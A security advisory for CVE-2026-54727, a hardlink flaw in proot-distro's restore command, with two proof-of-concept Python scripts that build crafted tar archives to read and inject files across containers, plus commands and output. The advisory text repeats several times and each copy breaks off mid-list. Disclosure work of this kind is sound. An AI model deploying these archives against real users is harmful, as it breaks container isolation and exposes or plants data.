CVE-2026-54727

proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6.

proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6.

Affected Component

• Package: proot-distro
• Affected command: restore
• Attack surface: Host-side Termux CLI processing a user-supplied backup archive
• Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write

---

Affected Versions

| Component | Version | |---|---| | proot-distro | 5.1.5 (confirmed affected) | | Test distro | Alpine Linux | | Architecture | aarch64 | | Device | Samsung Galaxy A23 | | Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |

---

Summary

When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.

The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.

Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.

As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.

---

Proof of Concept #1 — Cross-Container File Disclosure

All testing was performed using self-owned containers and harmless marker data only.

Step 1 — Create a victim container and marker file

proot-distro install alpine --name victim

proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'

Verification:

proot-distro login victim -- cat /root/proof.txt

PROOF-12345

---

Step 2 — Create an attacker container

proot-distro install alpine --name attacker

---

Step 3 — Build a crafted archive

python3 -c '
import tarfile

tf = tarfile.open("malicious.tar", "w")

d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)

h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)

tf.close()
'

---

Step 4 — Restore the crafted archive

proot-distro restore ./malicious.tar

---

Step 5 — Read the copied file from the attacker container

proot-distro run attacker -- cat /exfil/stolen_key

Observed output:

PROOF-12345

This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.

---

Proof of Concept #2 — Cross-Container File Injection

Step 1 — Create attacker-controlled source data

proot-distro install alpine --name attacker

proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'

---

Step 2 — Create a victim container

proot-distro install alpine --name victim

---

Step 3 — Build a crafted archive

python3 -c '
import tarfile

tf = tarfile.open("write_test.tar", "w")

h = tarfile.TarInfo(
    "victim/rootfs/root/copied_from_attacker.txt"
)

h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600

tf.addfile(h)
tf.close()
'

---

Step 4 — Restore the crafted archive

proot-distro restore ./write_test.tar

---

Step 5 — Verify file injection into the victim container

cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"

Observed output:

ATTACKER_DATA

This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.

---

Impact

An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.

Observed impacts include:

• Disclosure…

proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6.

proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6.

Affected Component

• Package: proot-distro
• Affected command: restore
• Attack surface: Host-side Termux CLI processing a user-supplied backup archive
• Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write

---

Affected Versions

| Component | Version | |---|---| | proot-distro | 5.1.5 (confirmed affected) | | Test distro | Alpine Linux | | Architecture | aarch64 | | Device | Samsung Galaxy A23 | | Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |

---

Summary

When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.

The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.

Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.

As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.

---

Proof of Concept #1 — Cross-Container File Disclosure

All testing was performed using self-owned containers and harmless marker data only.

Step 1 — Create a victim container and marker file

proot-distro install alpine --name victim

proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'

Verification:

proot-distro login victim -- cat /root/proof.txt

PROOF-12345

---

Step 2 — Create an attacker container

proot-distro install alpine --name attacker

---

Step 3 — Build a crafted archive

python3 -c '
import tarfile

tf = tarfile.open("malicious.tar", "w")

d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)

h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)

tf.close()
'

---

Step 4 — Restore the crafted archive

proot-distro restore ./malicious.tar

---

Step 5 — Read the copied file from the attacker container

proot-distro run attacker -- cat /exfil/stolen_key

Observed output:

PROOF-12345

This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.

---

Proof of Concept #2 — Cross-Container File Injection

Step 1 — Create attacker-controlled source data

proot-distro install alpine --name attacker

proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'

---

Step 2 — Create a victim container

proot-distro install alpine --name victim

---

Step 3 — Build a crafted archive

python3 -c '
import tarfile

tf = tarfile.open("write_test.tar", "w")

h = tarfile.TarInfo(
    "victim/rootfs/root/copied_from_attacker.txt"
)

h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600

tf.addfile(h)
tf.close()
'

---

Step 4 — Restore the crafted archive

proot-distro restore ./write_test.tar

---

Step 5 — Verify file injection into the victim container

cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"

Observed output:

ATTACKER_DATA

This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.

---

Impact

An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.

Observed impacts include:

• Disclosure…

Affected Component

• Package: proot-distro
• Affected command: restore
• Attack surface: Host-side Termux CLI processing a user-supplied backup archive
• Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write

---

Affected Versions

| Component | Version | |---|---| | proot-distro | 5.1.5 (confirmed affected) | | Test distro | Alpine Linux | | Architecture | aarch64 | | Device | Samsung Galaxy A23 | | Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |

---

Summary

When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.

The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.

Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.

As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.

---

Proof of Concept #1 — Cross-Container File Disclosure

All testing was performed using self-owned containers and harmless marker data only.

Step 1 — Create a victim container and marker file

proot-distro install alpine --name victim

proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'

Verification:

proot-distro login victim -- cat /root/proof.txt

PROOF-12345

---

Step 2 — Create an attacker container

proot-distro install alpine --name attacker

---

Step 3 — Build a crafted archive

python3 -c '
import tarfile

tf = tarfile.open("malicious.tar", "w")

d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)

h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)

tf.close()
'

---

Step 4 — Restore the crafted archive

proot-distro restore ./malicious.tar

---

Step 5 — Read the copied file from the attacker container

proot-distro run attacker -- cat /exfil/stolen_key

Observed output:

PROOF-12345

This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.

---

Proof of Concept #2 — Cross-Container File Injection

Step 1 — Create attacker-controlled source data

proot-distro install alpine --name attacker

proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'

---

Step 2 — Create a victim container

proot-distro install alpine --name victim

---

Step 3 — Build a crafted archive

python3 -c '
import tarfile

tf = tarfile.open("write_test.tar", "w")

h = tarfile.TarInfo(
    "victim/rootfs/root/copied_from_attacker.txt"
)

h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600

tf.addfile(h)
tf.close()
'

---

Step 4 — Restore the crafted archive

proot-distro restore ./write_test.tar

---

Step 5 — Verify file injection into the victim container

cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"

Observed output:

ATTACKER_DATA

This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.

---

Impact

An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.

Observed impacts include:

• Disclosure…